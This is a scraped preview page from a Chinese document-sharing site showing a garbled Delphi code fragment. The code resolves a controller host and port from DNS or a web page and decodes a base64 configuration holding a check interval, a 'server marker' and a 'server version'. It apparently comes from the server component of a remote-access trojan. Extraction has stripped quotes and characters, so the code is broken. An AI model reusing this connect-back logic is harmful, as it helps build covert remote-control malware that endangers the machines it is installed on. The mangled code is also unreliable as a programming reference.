把http和DNS转换成IP_第1页
把http和DNS转换成IP_第2页
把http和DNS转换成IP_第3页
把http和DNS转换成IP_第4页
把http和DNS转换成IP_第5页
已阅读5页,还剩3页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、把 http 和 DNS 转换成 IP把 http 和 DNS 转换成 IP2010-10-25 23:27:03| 分类:编程技术| 标签: pos pchar hosttemp pzhinfo copy|字号订阅 function ResolveIP(Name: string): string;typetAddr = array0.100 of PInAddr;pAddr = AtAddr;varI: Integer;WSA: TWSAData;PHE: PHostEnt;P: pAddr;hostName: array0.255 of char;beginResult := ;WSASt

2、artUp($101, WSA);trygethostname(hostName, sizeof(hostName);StrPCopy(hostName, Name);PHE := GetHostByName(HostName);if (PHE <> nil) thenbeginP := pAddr(PHEA.h_addr_list);I := 0;while (PAI <> nil) dobeginResult := (inet_nToa(PAIA);Inc(I);end;end;exceptend;WSACleanUp;end;procedure ipandport

3、1(host: string);begintryConfiguracion.sHost := copy(host, 1, pos(:, host) - 1);if not http then Configuracion.sHost :=ResolveIP(Configuracion.sHost);/放这里造成很大问题,先解析了,如果没联网就麻烦了exceptend;/MessageBox(0,pchar(),pchar(Configuracion.sHost),MB_OK);tryDelete(host, 1, Pos(:, host); /我日啊,这里如果不这样弄就少端口位数,操Config

4、uracion.iport := strtoint(trim(host);/不加trim 就完蛋exceptConfiguracion.iport := 3306;end;/MessageBox(0,pchar(inttostr(Configuracion.iport),pchar(Conf iguracion.sHost),MB_OK);end;procedure getadder(adder: string;id:integer=1);varhosttemp: string;begintryif (pos(http:/, adder) > 0) and (pos(:, adder)

5、> 0) then/分离http:/A 如果不是 DNS ,就不需要分离beginhosttemp := copy(adder, 8, length(adder) - 7);endelsehosttemp := adder;if pos(:, hosttemp) = 0 thenbegin /如果是 HTTP 网页文件Urlhttp := copy(hosttemp, 1, pos(/, hosttemp) - 1);Delete(hosttemp, 1, Pos(/, hosttemp);httpwj := hosttemp;tryhosttemp :=pchar(getip(getH

6、ttpDataByGetMethod(Urlhttp, 80,httpwj);exceptend;http:=true;end;if (pos(:, hosttemp) > 0) and (length(hosttemp)<30)thentryipandport1(hosttemp);exceptend;/ if pos(:, hosttemp) > 0 then ipandport(hosttemp,id); exceptend; / MessageBox(0,pchar(hosttemp),test,MB_OK);end;procedure readme();begint

7、ry/ pzhinfo:=:3306>4>3.0> 小熊技术>>> ;pzhinfo := trim(decodebase64(readid(netinfo); / 加密/ MessageBox(0,pchar(pzhinfo),pchar(),MB_OK);ipset := copy(pzhinfo, 1, pos(>, pzhinfo) - 1); / 域名信 息Delete(pzhinfo, 1, Pos(>, pzhinfo);tryConfiguracion.iTimeToNotify := strtoint(copy

8、(pzhinfo, 1,pos(>, pzhinfo) - 1);/ 检测间隔exceptConfiguracion.iTimeToNotify :=15;end;Delete(pzhinfo, 1, Pos(>, pzhinfo);Configuracion.sID := copy(pzhinfo, 1, pos(>, pzhinfo)- 1); / 服务端标记Delete(pzhinfo, 1, Pos(>, pzhinfo);VersionDelServer := copy(pzhinfo, 1, pos(>>>, pzhinfo) - 1); / 服务端版本Delete(pzhinfo, 1, Pos(>>>, pzhinfo);/Mess

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论